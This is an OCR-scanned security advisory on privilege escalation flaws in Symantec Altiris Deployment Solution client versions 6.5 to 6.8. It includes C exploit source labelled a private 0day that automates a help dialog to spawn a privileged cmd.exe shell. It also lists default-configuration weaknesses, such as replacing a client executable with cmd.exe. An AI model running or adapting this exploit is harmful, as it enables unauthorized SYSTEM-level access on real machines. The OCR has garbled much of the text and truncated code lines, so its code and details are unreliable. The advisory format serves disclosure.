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High

Remote Access Yes
Local Access Yes
Authentication Required No
Exploit publicly available Yes

—-==4==========+==--

--==+ Overview
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Symantec’s Altiris Deployment Solution is vulneraib two different elevation of privilege attacksdasome found in
the default configuration issues that can leadritdlpge escalation.

Affected Products

Product Version Build Solution(s)
Altiris Deployment Solution 6.5.248 /6.5.299/6.8.378 <=378 Yes
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--==+ Best Practices +==--
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* Restrict access to administration or manageragsiems to privileged users.

* Restrict remote access, if required, to trustattiorized systems only.

* Run under the principle of least privilege whessible to limit the impact of exploit by extertfareats.
* Keep all operating systems and applications tgutiavith the latest vendor patches.

* Follow a multi-layered approach to security. Rboth firewall and anti-malware applications, amaimum, to
provide multiple points of detection and protectiorboth inbound and outbound threats.

* Deploy network and host-based intrusion detec8gatems to monitor network traffic for signs ofoamalous or
suspicious activity. This may aid in detection dfaesks or malicious activity related to exploitatiof latent

vulnerabilities

Yes:secure@symantec.com




First Vulnerability
GUI: The User Properties is vulnerable to privilege kediman through the followingy manualsteps:

On the user properties window:
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Windows shell with privileges:
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--==+ Using WM_COMMANDHELP Privilege Escalation Vulnerability +==--
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Second Vulner abilit

[/l 0day PRIVATE NOT DISTRIBUTE!!

1

/I Symantec Altiris Client Service Local Exploit (O
1

/I Affected Versions : Altiris Client 6.5.248

1 Altiris Client 6.5.299
1 Altiris client 6.8.378
/i

/I Alex Hernandez aka alt3kx

/I ahernandez [at] sybsecurity.com

1

/I Eduardo Vela aka sirdarckcat

/I sirdarckcat [at] gmail.com

1

/I We'll see you soon at ph-neutral 0x7d8

#include "stdio.h"
#include "windows.h"

int main(int argc, char* argv[])

HWND IHandle, IHandle2;
POINT point;

day)
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elsef
printf("Help Window found! exploiting..\n");

SendMessage (FindWindow(NULL, langH[id]), WM_IME_K
Sleep(500);

IHandle = FindWindow("#32770",langOlid]);

IHandle2 = GetDlgltem(IHandle, 0x47C);

Sleep(500);

printf("Sending path..\n");

SendMessage (IHandle2, WM_SETTEXT, 0, (LPARAM)sTex
Sleep(800);

SendMessage (IHandle2, WM_IME_KEYDOWN, VK_RETURN,
IHandle2 = GetDlgltem(IHandle, 0x4A0);

printf("Looking for cmd..\n");

SendMessage (IHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);

IHandle2 = FindWindowEXx(IHandle,NULL,"SHELLDLL_Def
IHandle2 = GetDlgltem(IHandle2, 0x1);

printf("Sending keys..\n");

SendMessage (IHandle2, WM_IME_KEYDOWN, 0x43, 0);
SendMessage (IHandle2, WM_IME_KEYDOWN, 0x4D, 0);
SendMessage (IHandle2, WM_IME_KEYDOWN, 0x44, 0);
Sleep(500);

mark:

PostMessage (IHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);

point.x =10; point.y =30;

IHandle2=WindowFromPoint(point);

Sleep(1000);

printf("Opening shell..\n");

SendMessage (IHandle2, WM_KEYDOWN, VK_DOWN, 0);
Sleep(1000);

SendMessage (IHandle2, WM_KEYDOWN, VK_DOWN, 0);

Sleep(1000);

SendMessage (IHandle2, WM_KEYDOWN, VK_RETURN, 0);

Sleep(1000);

if ({FindWindow(NULL,"C:\WINDOWS\\system32\\cmd.e
IFindWindow(NULL,"C:\WINNT\\system32\\cmd.exe")){

printf("Failed\n");
if (la){
at++;
goto mark;

}else{
printf("Done\n");

}
if(la){
SendMessage (IHandle, WM_CLOSE,0,0);
Sleep(500);
SendMessage (FindWindow(NULL, langH[id]), WM_CL
SendMessage (FindWindow(NULL, argv[1]), WM_CLOS
}else{
printf("The exploit failed, but maybe the conte
visibile.\n");
}

return O;

}
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--==+ Default Configuration Problems +==--
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Altiris does not apply is not using ENV['Progran#sf] for installing directorieso its structure, therefore it leads to
possible unprotected directories on the client; CeProgram Files\Altiris\AClient\ACIntUser .EXE is left not
unprotected from for modification which an attackan replace it with cmd.exe and get an interacsivell upon

restart.



Configuration windows argist hidden; an attacker can make them visibleutinacShowWindow API.

SomeREGEDIT keys that contain important information act read-protected:
HKEY_LOCAL_MACHINE\SOFTWARE\Altiris\

Importantly Specially:
HKEY_LOCAL_MACHINE\SOFTWARE\Altiris\eXpress\Inventory\AeX EU Logon Users
And:

HKEY_LOCAL_MACHINE\SOFTWARE\AItirisCommunications

Some CFG files (C:\aclient.cfg) are not read-priaegnot sure if this was a configuration probleynsigsadmin, or a
default config). ApplicationMettering can be stogpesing taskkill /f when alert is prompted.

C:\Program Files\Altiris\Altiris AgentAeXAMInventory.txt and AeXAMDiscovery.txt has othaser's activity visible
to any user, the path C:\Program Files\Altiris\AdtiAgent\Client Policies\ has dangerous informatiecessible to all
users. http://Server/AltirisINS/Agent/ is accessitdl un-logged in agents.

Deployment server runs over no an unsecure lapeaftacker could connect the computer to a newarktand make
it download & execute untrusted packages.

C:\Program Files\Altiris\Altiris Agent\Logs has dgerous information accessible to all users.
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Propiedades del equipo

Propiedades del equipo

E! Nombre: ] &

Usuario conectado it e -_,.-

= |slemaupel tivo, ‘Windows =P F'rufesslunal 5.1 [Build 2600; Service
Pack 2]

=

Versidn de packet shim para DDS

Lalicencia del agente caduca; M

1d.: SRR

Aceptar

Cancelar I Apuda I

Acerca de Altiris Client Service

Copyright [c] 1396-2003 Altiriz, Inc, Todos loz derechos
rezervados. Ezte programa estd prategido par lag leves de
propiedad intelectual de E stadoz Unidoz p por tratadoz
intermacionales.

DECLARACION DE LICENCIA

La licencia del saftware Altiris Client debe utilizar sdla junto
a la verzidn de evaluacidn o con licencia de un praducta
de Altiriz. El uzo de esta licencia de cliente para otro ugo
que el definido puede resultar en una infraccian del
contrato de licencia de software, Para obtener mas
infarmacion, contacte a Altinz, [nc. [hitp: A, alkinz. com)

Acerca de Altinis Client Service

Altiriz Client Service para Windows
Merzion B.5.239]

Copyright [
reservados.
E zte programa esta protegido por laz leves de propiedad
intelectual de Estadoz Unidos v por tratados

DECLARACION DE LICEMCIA

odoz |os derechos

La licencia del zaftware Altris Client debe utiizar 2dla junta
a la werzion de evaluacian o con licencia de un producto
de Altiriz. El uzo de esta licencia de cliente para otro uzo
que el definido puede resultar en una infraccion del
contrato de licencia de software. Para obtener mas
informacion, contacte a Altins, Inc. [http: A, altinz. com]

About Altiris Client Service

Altiriz Client Service for Windowes
Mersion 65248 00 bl
Copyright 2 1336-2003 Altinz, [nc. All nights reserved.
Thiz program iz protected by U5, copyright laws and
international treaties.

LICEMSE STATEMENT

Thiz Altiris Client software iz licensed for use anly in
cohjunction with an evaluation ar licensed verzsian of an
Altiriz product. Use of this client software ather than az
intended may result in a breach of the sofbware license
agreement. For additional information, please contact
Altiniz, Inc. [hitp: v, alkiniz. com]
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